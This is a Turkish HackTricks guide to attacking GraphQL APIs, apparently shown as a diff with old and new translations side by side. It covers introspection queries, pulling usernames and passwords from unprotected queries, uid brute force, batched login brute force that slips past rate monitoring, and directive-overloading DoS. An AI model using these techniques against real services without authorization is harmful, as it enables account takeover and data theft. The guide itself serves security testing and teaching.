* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
## Giriş ## Giriş
GraphQL, backend'den veri sorgulamak için REST API'ye **verimli bir alternatif** olarak öne çıkar ve geliştiricilerin veri alım süreçlerinin karmaşıklığını azaltarak tüm gereken bilgileri **tek bir istekte** almayı mümkün kılar. REST'in aksine, verileri toplamak için çeşitli uç noktalara yapılan çok sayıda istek gerektiren durumlarda, GraphQL tüm gereken bilgileri tek bir istekte almayı sağlar. Bu basitleştirme, veri alım süreçlerinin karmaşıklığını azaltarak geliştiricilere önemli ölçüde fayda sağlar. GraphQL, backend'den veri sorgulamak için basitleştirilmiş bir yaklaşım sunarak REST API'ye **verimli bir alternatif** olarak **ön plana çıkar**. REST'in aksine, genellikle verileri toplamak için çeşitli uç noktalarda çok sayıda istek gerektiren GraphQL, tüm gerekli bilgilerin **tek bir istek** aracılığıyla alınmasını sağlar. Bu basitleştirme, veri alım süreçlerinin karmaşıklığını azaltarak geliştiricilere önemli ölçüde **fayda sağlar**.
## GraphQL ve Güvenlik ## GraphQL ve Güvenlik
GraphQL gibi yeni teknolojilerin ortaya çıkmasıyla birlikte yeni güvenlik açıkları da ortaya çıkar. Dikkate alınması gereken önemli bir nokta, **GraphQL'ın varsayılan olarak kimlik doğrulama mekanizmalarını içermemesidir**. Bu tür güvenlik önlemlerini uygulamak geliştiricilerin sorumluluğundadır. Doğru kimlik doğrulama olmadan, GraphQL uç noktaları kimlik doğrulaması yapılmamış kullanıcılara hassas bilgileri açıklayabilir ve ciddi bir güvenlik riski oluşturabilir. GraphQL gibi yeni teknolojilerin ortaya çıkmasıyla yeni güvenlik açıkları da ortaya çıkar. **GraphQL'ın varsayılan olarak kimlik doğrulama mekanizmalarını içermediği** önemli bir noktadır. Bu tür güvenlik önlemlerini uygulamak geliştiricilerin sorumluluğundadır. Doğru kimlik doğrulama olmadan, GraphQL uç noktaları kimlik doğrulanmamış kullanıcılara hassas bilgileri açığa çıkarabilir, bu da ciddi bir güvenlik riski oluşturabilir.
### Dizin Brute Force Saldırıları ve GraphQL ### Dizin Brute Force Saldırıları ve GraphQL
ığa çıkarılmış GraphQL örneklerini belirlemek için dizin brute force saldırılarına belirli yolların dahil edilmesi önerilir. Bu yollar şunlardır: ığa çıkarılmış GraphQL örneklerini tanımlamak için dizin brute force saldırılarında belirli yolların dahil edilmesi önerilir. Bu yollar şunlardır:
- `/graphql` * `/graphql`
- `/graphiql` * `/graphiql`
- `/graphql.php` * `/graphql.php`
- `/graphql/console` * `/graphql/console`
- `/api` * `/api`
- `/api/graphql` * `/api/graphql`
- `/graphql/api` * `/graphql/api`
- `/graphql/graphql` * `/graphql/graphql`
ık GraphQL örneklerini belirlemek, desteklenen sorguların incelenmesine olanak tanır. Bu, uç noktadan erişilebilen verileri anlamak için önemlidir. GraphQL'in introspeksiyon sistemi, bir şemanın desteklediği sorguları detaylandırarak bu işlemi kolaylaştırır. Bu konuda daha fazla bilgi için GraphQL introspeksiyonu hakkında belgelere başvurun: [**GraphQL: API'ler için bir sorgu dili.**](https://graphql.org/learn/introspection/) ık GraphQL örneklerinin tanımlanması, desteklenen sorguların incelenmesine olanak tanır. Bu, uç noktadan erişilebilen verileri anlamak için önemlidir. GraphQL'in keşif sistemi, bir şemanın desteklediği sorguları detaylandırarak bunu kolaylaştırır. Bu konuda daha fazla bilgi için GraphQL belgelerindeki keşif bölümüne bakın: [**GraphQL: API'ler için bir sorgu dili.**](https://graphql.org/learn/introspection/)
### Parmak İzi ### Parmak İzi
[**graphw00f**](https://github.com/dolevf/graphw00f) aracı, bir sunucuda kullanılan GraphQL motorunu tespit edebilir ve güvenlik denetçisi için bazı yardımcı bilgileri yazdırabilir. [**graphw00f**](https://github.com/dolevf/graphw00f) aracı, bir sunucuda kullanılan GraphQL motorunu tespit edebilir ve ardından güvenlik denetçisi için bazı yararlı bilgileri yazdırabilir.
#### Evrensel sorgular <a href="#universal-queries" id="universal-queries"></a> #### Evrensel sorgular <a href="#universal-queries" id="universal-queries"></a>
Bir URL'nin bir GraphQL servisi olup olmadığını kontrol etmek için **evrensel bir sorgu**, `query{__typename}`, gönderilebilir. Yanıtta `{"data": {"__typename": "Query"}}` yer alıyorsa, URL'nin bir GraphQL uç noktası barındırdığı onaylanır. Bu yöntem, GraphQL'in sorgulanan nesnenin türünü ortaya çıkaran `__typename` alanına dayanır. Bir URL'nin bir GraphQL servisi olup olmadığını kontrol etmek için bir **evrensel sorgu**, `query{__typename}`, gönderilebilir. Yanıt `{"data": {"__typename": "Query"}}` içeriyorsa, URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, GraphQL'in sorgulanan nesnenin türünü ortaya çıkaran `__typename` alanına dayanır.
```javascript ```javascript
query{__typename} query{__typename}
``` ```
### Temel Saptama ### Temel Numaralandırma
Graphql genellikle **GET**, **POST** (x-www-form-urlencoded) ve **POST**(json) destekler. Ancak güvenlik için yalnızca json'a izin vermek, CSRF saldırılarını önlemek için önerilir. Graphql genellikle **GET**, **POST** (x-www-form-urlencoded) ve **POST**(json) destekler. Güvenlik açısından, CSRF saldırılarını önlemek için yalnızca json'a izin vermek önerilir.
#### İçgörü #### İçgörü
@ -57,7 +57,7 @@ Graphql genellikle **GET**, **POST** (x-www-form-urlencoded) ve **POST**(json) d
```bash ```bash
query={__schema{types{name,fields{name}}}} query={__schema{types{name,fields{name}}}}
``` ```
Bu sorgu ile kullanılan tüm tiplerin adını bulabilirsiniz: Bu sorgu ile kullanılan tüm tiplerin adını bulacaksınız:
![](<../../.gitbook/assets/image (202).png>) ![](<../../.gitbook/assets/image (202).png>)
@ -67,21 +67,19 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
``` ```
{% endcode %} {% endcode %}
Bu sorgu ile tüm tipleri, alanları ve argümanları (ve argümanların türünü) çıkarabilirsiniz. Bu, veritabanını sorgulamak için nasıl kullanılacağınızı bilmek için çok faydalı olacaktır. Bu sorgu ile tüm tipleri, alanlarını ve argümanlarını (ve argümanların türünü) çıkarabilirsiniz. Veritabanını sorgulamanın nasıl yapılacağını bilmek çok faydalı olacaktır.
![](<../../.gitbook/assets/image (207) (3).png>) ![](<../../.gitbook/assets/image (207) (3).png>)
**Hatalar** **Hatalar**
**Hataların** gösterilip gösterilmeyeceğini bilmek ilginç olacaktır çünkü bunlar faydalı **bilgiler** sağlayacaktır. **Hataların** gösterilip gösterilmeyeceğini bilmek ilginç olacaktır, çünkü bu faydalı **bilgiler** sağlayabilir.
``` ```
?query={__schema} ?query={__schema}
?query={} ?query={}
?query={thisdefinitelydoesnotexist} ?query={thisdefinitelydoesnotexist}
``` ```
![](<../../.gitbook/assets/image (205) (1).png>) **Introspeksiyon Yoluyla Veritabanı Şemasını Sıralama**
**İntrospeksiyon Yoluyla Veritabanı Şemasını Sıralama**
{% hint style="info" %} {% hint style="info" %}
Eğer introspeksiyon etkinleştirilmişse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından `onOperation`, `onFragment` ve `onField` direktiflerini kaldırmayı deneyin. Eğer introspeksiyon etkinleştirilmişse ancak yukarıdaki sorgu çalışmıyorsa, sorgu yapısından `onOperation`, `onFragment` ve `onField` direktiflerini kaldırmayı deneyin.
@ -175,7 +173,7 @@ name
} }
} }
``` ```
Tek satır içi sorgu: Satır içi denetim sorgusu:
``` ```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
``` ```
@ -183,58 +181,62 @@ Son kod satırı, graphql'den tüm meta bilgileri (nesne adları, parametreler,
![](<../../.gitbook/assets/image (206).png>) ![](<../../.gitbook/assets/image (206).png>)
Eğer introspection etkinse, [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kullanarak tüm seçenekleri bir GUI'de görüntüleyebilirsiniz. Eğer introspeksiyon etkinse, [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kullanarak GUI'de tüm seçenekleri görüntüleyebilirsiniz.
### Sorgulama ### Sorgulama
Veritabanında hangi tür bilgilerin kaydedildiğini bildiğimize göre, bazı değerleri **çıkarmayı deneyelim**. Veritabanında hangi tür bilgilerin kaydedildiğini bildiğimize göre, **bazı değerler çıkarmayı** deneyelim.
Introspection'da **doğrudan sorgulayabileceğiniz nesneyi** bulabilirsiniz (çünkü bir nesneyi sadece var olduğu için sorgulayamazsınız). Aşağıdaki resimde "_queryType_"'ın "_Query_" olarak adlandırıldığını ve "_Query_" nesnesinin bir alanının "_flags_" olduğunu görebilirsiniz, bu alan da bir nesne türüdür. Bu nedenle flag nesnesini sorgulayabilirsiniz. Introspeksiyonda **doğrudan sorgulayabileceğiniz nesneyi** bulabilirsiniz (çünkü bir nesneyi sorgulayamazsınız sadece var olduğu için). Aşağıdaki görüntüde "_queryType_"'ın "_Query_" olarak adlandırıldığını ve "_Query_" nesnesinin alanlarından birinin "_flags_" olduğunu görebilirsiniz, ki bu da bir nesne türüdür. Dolayısıyla bayrak nesnesini sorgulayabilirsiniz.
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png) ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png)
Sorgu "_flags_"'ın türünün "_Flags_" olduğuna dikkat edin ve bu nesnenin aşağıdaki gibi tanımlandığını görebilirsiniz: Sorgunun türü "_flags_"'in "_Flags_" olduğuna dikkat edin ve bu nesnenin aşağıdaki gibi tanımlandığını görebilirsiniz:
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png) ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png)
"_Flags_" nesnelerinin **ad** ve **değer** ile oluşturulduğunu görebilirsiniz. Ardından, tüm bayrakların adlarını ve değerlerini aşağıdaki sorgu ile alabilirsiniz: "_Flags_" nesnelerinin **ad** ve **değer** ile oluşturulduğunu görebilirsiniz. Sonra bayrakların tüm adlarını ve değerlerini aşağıdaki sorgu ile alabilirsiniz:
```javascript ```javascript
query={flags{name, value}} query={flags{name, value}}
``` ```
Not: **Sorgulanacak nesne**, aşağıdaki örnekte olduğu gibi **string** gibi **ilkel bir tür** ise, sadece sorgulayabilirsiniz: Not: Eğer sorgulanacak nesne string gibi ilkel bir türse, aşağıdaki örnekte olduğu gibi, sadece sorgulayabilirsiniz:
![](<../../.gitbook/assets/image (441).png>)
```javascript ```javascript
query={hiddenFlags} query={hiddenFlags}
``` ```
Başka bir örnekte, "_Query_" türü nesnesi içinde "_user_" ve "_users_" adında 2 nesne vardı. Bu nesnelerin arama için herhangi bir argümana ihtiyacı olmadığında, istediğiniz verileri sormak suretiyle **tüm bilgileri alabilirsiniz**. Bu örnekte, İnternet'ten kaydedilmiş kullanıcı adlarını ve şifreleri çıkarabilirsiniz: Başka bir örnekte, "_Query_" türü nesnesi içinde 2 nesne olan "_user_" ve "_users_" vardı.\
Bu nesnelerin aranması için herhangi bir argümana ihtiyaç duymadıklarında, istediğiniz verileri sormak suretiyle **tüm bilgileri alabilirsiniz**. Bu örnekte, internetten kaydedilmiş kullanıcı adlarını ve şifreleri çıkarabilirsiniz:
![](<../../.gitbook/assets/image (208).png>) ![](<../../.gitbook/assets/image (208).png>)
Ancak, bu örnekte bunu yapmaya çalışırsanız, şu **hata**yı alırsınız: Ancak, bu örnekte bunu denerseniz bu **hata** ile karşılaşırsınız:
![](<../../.gitbook/assets/image (210).png>) ![](<../../.gitbook/assets/image (210).png>)
Görünüşe göre, "_**uid**_" türünde bir "_**uid**_" argümanı kullanarak arama yapacak gibi görünüyor. Neyse ki, zaten bunu biliyorduk, [Temel Numaralandırma](graphql.md#basic-enumeration) bölümünde bize gerekli tüm bilgileri gösteren bir sorgu önerilmişti: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` Görünüşe göre, bir şekilde "_**uid**_" türünde bir _**Int**_ argümanını kullanarak arama yapacak.\
Neyse ki, zaten bunu biliyorduk, [Temel Numaralandırma](graphql.md#basic-enumeration) bölümünde bize gerekli tüm bilgileri gösteren bir sorgu önerilmişti: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Bu sorguyu çalıştırdığımda sağlanan görüntüyü okursanız, "_**user**_"'ın _Int_ türünde "_**uid**_" adında bir **arg**'ye sahip olduğunu göreceksiniz. Eğer o sorguyu çalıştırdığımda sağlanan resmi okursanız, "_**user**_"'ın _Int_ türünde "_**uid**_" argümanına sahip olduğunu göreceksiniz.
Bu nedenle, hafif bir _**uid**_ brute force yaparak _**uid**=**1**_ için bir kullanıcı adı ve şifre elde ettim:\ Bu nedenle, hafif bir _**uid**_ bruteforce gerçekleştirerek _**uid**=**1**_ için bir kullanıcı adı ve şifre elde ettim:\
`query={user(uid:1){user,password}}` `query={user(uid:1){user,password}}`
![](<../../.gitbook/assets/image (211).png>) ![](<../../.gitbook/assets/image (211).png>)
Dikkat edin, "_**user**_" ve "_**password**_" parametrelerini sormak için **keşfettiğimi** fark ettim, çünkü mevcut olmayan bir şeyi aramaya çalışırsam (`query={user(uid:1){noExists}}`), bu hatayı alırım: Dikkat edin, "_**user**_" ve "_**password**_" parametrelerini isteyebileceğimi **keşfettim** çünkü var olmayan bir şey aramaya çalışırsam (`query={user(uid:1){noExists}}`) bu hatayı alırım:
![](<../../.gitbook/assets/image (213).png>) ![](<../../.gitbook/assets/image (213).png>)
Ve **numaralandırma aşaması** sırasında "_**dbuser**_" nesnesinin "_**user**_" ve "_**password**_" alanlarına sahip olduğunu keşfettim. Ve **numaralandırma aşaması** sırasında "_**dbuser**_" nesnesinin "_**user**_" ve "_**password**_" alanlarına sahip olduğunu keşfettim.
**Sorgu dizesi döküm hilesi (teşekkürler @BinaryShadow\_)** **Sorgu dizesi dökme hilesi (teşekkürler @BinaryShadow\_)**
Eğer bir dize türüyle arama yapabilirseniz, örneğin: `query={theusers(description: ""){username,password}}` ve **boş bir dize** ararsanız, tüm verileri **dökümleyecektir**. (_Bu örnek, öğreticilerin örneğiyle ilgili değildir, bu örnekte "**theusers**" kullanarak bir String alan olan "**description**" ile arama yapabileceğinizi varsayalım_). Eğer bir String türüyle arama yapabilirseniz, örneğin: `query={theusers(description: ""){username,password}}` ve **boş bir dize ararsanız**, tüm verileri dökecektir. (_Bu örnek, öğreticilerin örneğiyle ilgili değildir, bu örnekte "**theusers**" kullanarak "**description**" adlı bir String alanıyla arama yapabileceğinizi varsayalım_).
### Arama ### Arama
Bu yapılandırmada, bir **veritabanı** kişileri ve filmleri içerir. **Kişiler** e-posta ve isimleriyle tanımlanır; **filmler** ise adları ve derecelendirmeleriyle tanımlanır. **Kişiler**, birbirleriyle arkadaş olabilir ve ayrıca veritabanı içindeki ilişkileri gösteren filmlere sahip olabilir. Bu kurulumda, bir **veritabanı** kişileri ve filmleri içerir. **Kişiler** e-posta ve isimleriyle tanımlanır; filmler ise adları ve derecelendirmeleriyle tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, veritabanı içindeki ilişkileri gösterir.
Kişileri **isimlerine göre arayabilir** ve e-postalarını alabilirsiniz: Kişileri **isimlerine göre arayabilir** ve e-postalarını alabilirsiniz:
```javascript ```javascript
@ -244,7 +246,7 @@ email
} }
} }
``` ```
Kişileri **isim** ile **arama** yapabilir ve **abone oldukları** **filmleri** alabilirsiniz: Kişileri **adlarına** göre **aramak** ve **abone oldukları** **filmleri** almak için:
```javascript ```javascript
{ {
searchPerson(name: "John Doe") { searchPerson(name: "John Doe") {
@ -259,9 +261,9 @@ name
} }
} }
``` ```
Not: Kişinin `aboneFilmler`inin `adını` almak için nasıl belirtildiğine dikkat edin. Not alınarak `subscribedMovies`'ın `name` özelliğinin alınması belirtilmiştir.
Aynı zamanda **birkaç nesneyi aynı anda arayabilirsiniz**. Bu durumda, 2 film araması yapılır: Aynı anda **birkaç nesne aranabilir**. Bu durumda, 2 film araması yapılır:
```javascript ```javascript
{ {
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
@ -269,7 +271,7 @@ name
} }
}r }r
``` ```
Ya da hatta **çeşitli farklı nesnelerin ilişkilerini takma adlar kullanarak**: Ya da hatta **farklı nesnelerin ilişkileri için takma adlar kullanarak**:
```javascript ```javascript
{ {
johnsMovieList: searchPerson(name: "John Doe") { johnsMovieList: searchPerson(name: "John Doe") {
@ -292,17 +294,17 @@ name
} }
} }
``` ```
### Mutasyonlar ### Mutations
**Mutasyonlar, sunucu tarafında değişiklik yapmak için kullanılır.** **Mutations, sunucu tarafında değişiklik yapmak için kullanılır.**
**İnceleme** içinde **tanımlanan** **mutasyonları** bulabilirsiniz. Aşağıdaki resimde "_MutationType_" "_Mutation_" olarak adlandırılır ve "_Mutation_" nesnesi, mutasyonların adlarını içerir (bu durumda "_addPerson_" gibi): **Introspection** içinde **tanımlanmış mutasyonları** bulabilirsiniz. Aşağıdaki görüntüde "_MutationType_" "_Mutation_" olarak adlandırılır ve "_Mutation_" nesnesi mutasyonların isimlerini içerir (bu durumda "_addPerson_" gibi):
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png) ![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png)
Bu yapıda, bir **veritabanı** kişileri ve filmleri içerir. **Kişiler** e-posta ve isimleriyle tanımlanır; **filmler** ise adları ve derecelendirmeleriyle tanımlanır. **Kişiler**, birbirleriyle arkadaş olabilir ve aynı zamanda veritabanındaki ilişkileri gösteren filmlere sahip olabilir. Bu yapıda bir **veritabanı**, **kişileri** ve **filmleri** içerir. **Kişiler** **e-posta** ve **isimleri** ile tanımlanır; **filmler** ise **isimleri** ve **puanları** ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, veritabanındaki ilişkileri gösterir.
Veritabanına yeni filmler eklemek için bir mutasyon aşağıdaki gibi olabilir (bu örnekte mutasyon `addMovie` olarak adlandırılmıştır): Veritabanına yeni **film eklemek** için bir mutasyon aşağıdaki gibi olabilir (bu örnekte mutasyon `addMovie` olarak adlandırılmıştır):
```javascript ```javascript
mutation { mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@ -313,9 +315,9 @@ rating
} }
} }
``` ```
**Not: Hem değerlerin hem de veri türünün sorguda belirtildiğine dikkat edin.** **Sorguda hem verilerin hem de veri türünün nasıl belirtildiğine dikkat edin.**
Ayrıca, veritabanı mevcut **arkadaşlar** ve **filmler** ile birlikte **kişilerin** oluşturulmasına izin veren `addPerson` adında bir **mutasyon** işlemi desteklemektedir. Yeni oluşturulan kişiye bağlantı yapmadan önce arkadaşlar ve filmlerin veritabanında önceden var olması gerektiğini unutmak önemlidir. Ayrıca, veritabanı mevcut **arkadaşlar** ve **filmler** ile ilişkilendirilmiş **kişilerin** oluşturulmasına izin veren `addPerson` adında bir **mutasyon** işlemini destekler. Arkadaşlar ve filmlerin, yeni oluşturulan kişiye bağlanmadan önce veritabanında önceden var olması gerektiğini unutmamak önemlidir.
```javascript ```javascript
mutation { mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@ -343,32 +345,36 @@ releaseYear
} }
} }
``` ```
### 1 API isteğinde toplu kaba kuvvet saldırısı ### Yönerge Aşırı Yükleme
[**Bu raporda açıklanan zafiyetlerden birinde**](https://www.landh.tech/blog/20240304-google-hack-50000/) belirtildiği gibi, bir yönerge aşırı yükleme, sunucunun işlemleri boşa harcayacak şekilde bir yönergeyi milyonlarca kez çağırma anlamına gelir ve ardından DoS saldırısı yapılabilir hale gelir.
### 1 API isteğinde kaba kuvvet saldırısını topluca yapma
Bu bilgi [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/) adresinden alınmıştır.\ Bu bilgi [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/) adresinden alınmıştır.\
**Farklı kimlik bilgileriyle birlikte birçok sorguyu aynı anda göndererek** GraphQL API üzerinden kimlik doğrulama yapılır ve kontrol edilir. Bu klasik bir kaba kuvvet saldırısıdır, ancak GraphQL toplu işleme özelliği sayesinde bir HTTP isteğiyle birden fazla giriş/şifre çifti göndermek mümkündür. Bu yaklaşım, harici hız izleme uygulamalarını yanıltarak her şeyin yolunda olduğunu ve şifreleri tahmin etmeye çalışan bir kaba kuvvet saldırısı botunun olmadığını düşündürebilir. **Farklı kimlik bilgileri ile birlikte birçok sorguyu aynı anda göndererek GraphQL API üzerinden kimlik doğrulama**. Bu klasik bir kaba kuvvet saldırısıdır, ancak şimdi GraphQL toplu işleme özelliği sayesinde HTTP isteği başına birden fazla giriş/şifre çifti göndermek mümkün hale gelmiştir. Bu yaklaşım, harici hız izleme uygulamalarını, her şeyin yolunda olduğunu ve şifre denemesi yapan bir botun olmadığını düşünmelerine kandırabilir.
Aşağıda, **aynı anda 3 farklı e-posta/şifre çiftiyle** uygulama kimlik doğrulama isteğinin en basit gösterimi bulunmaktadır. Aynı şekilde tek bir istekte binlerce göndermek mümkündür: Aşağıda, **aynı anda 3 farklı e-posta/şifre çifti** ile uygulama kimlik doğrulama isteğinin en basit gösterimi bulunmaktadır. Açıkça aynı şekilde tek bir istekte binlerce göndermek mümkündür:
![](<../../.gitbook/assets/image (182) (1).png>) ![](<../../.gitbook/assets/image (182) (1).png>)
Yanıt ekran görüntüsünden görebileceğimiz gibi, ilk ve üçüncü istekler _null_ döndürdü ve ilgili bilgileri _error_ bölümünde yansıttı. **İkinci mutasyon doğru kimlik doğrulama** verilerine sahipti ve yanıtta doğru kimlik doğrulama oturum belirteci bulunmaktadır. Yanıt ekran görüntüsünden görebileceğimiz gibi, ilk ve üçüncü istekler _null_ döndürdü ve ilgili bilgileri _error_ bölümünde yansıttı. **İkinci mutasyon doğru kimlik doğrulama** verilerine sahipti ve yanıt doğru kimlik doğrulama oturum belirteci içeriyordu.
![](<../../.gitbook/assets/image (119) (1).png>) ![](<../../.gitbook/assets/image (119) (1).png>)
## Introspection Olmadan GraphQL ## GraphQL İntrospeksiyon Olmadan
Daha fazla **graphql uç noktası introspection'ı devre dışı bırakıyor**. Bununla birlikte, graphql'in beklenmeyen bir istek aldığında attığı hatalar, [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) gibi araçların çoğu şemayı yeniden oluşturmak için yeterlidir. Daha fazla **graphql uç noktası introspeksiyonu devre dışı bırakıyor**. Bununla birlikte, graphql'in beklenmeyen bir istek aldığında fırlattığı hatalar, [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) gibi araçların çoğu şemayı yeniden oluşturmasına olanak tanır.
Ayrıca, Burp Suite uzantısı [**GraphQuail**](https://github.com/forcesunseen/graphquail) GraphQL API isteklerini izler ve her yeni sorguyu gördüğünde dahili bir GraphQL şeması **oluşturur**. Ayrıca, GraphiQL ve Voyager için şemayıığa çıkarabilir. Uzantı, bir introspection sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilecek tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için [**burayı kontrol edin**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). Ayrıca, Burp Suite uzantısı [**GraphQuail**](https://github.com/forcesunseen/graphquail) uzantısı, Burp üzerinden geçen GraphQL API isteklerini **izler** ve her yeni sorguyu gördüğünde içsel bir GraphQL **şeması oluşturur**. Ayrıca şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir içgörü sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilecek tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için [**buraya bakın**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
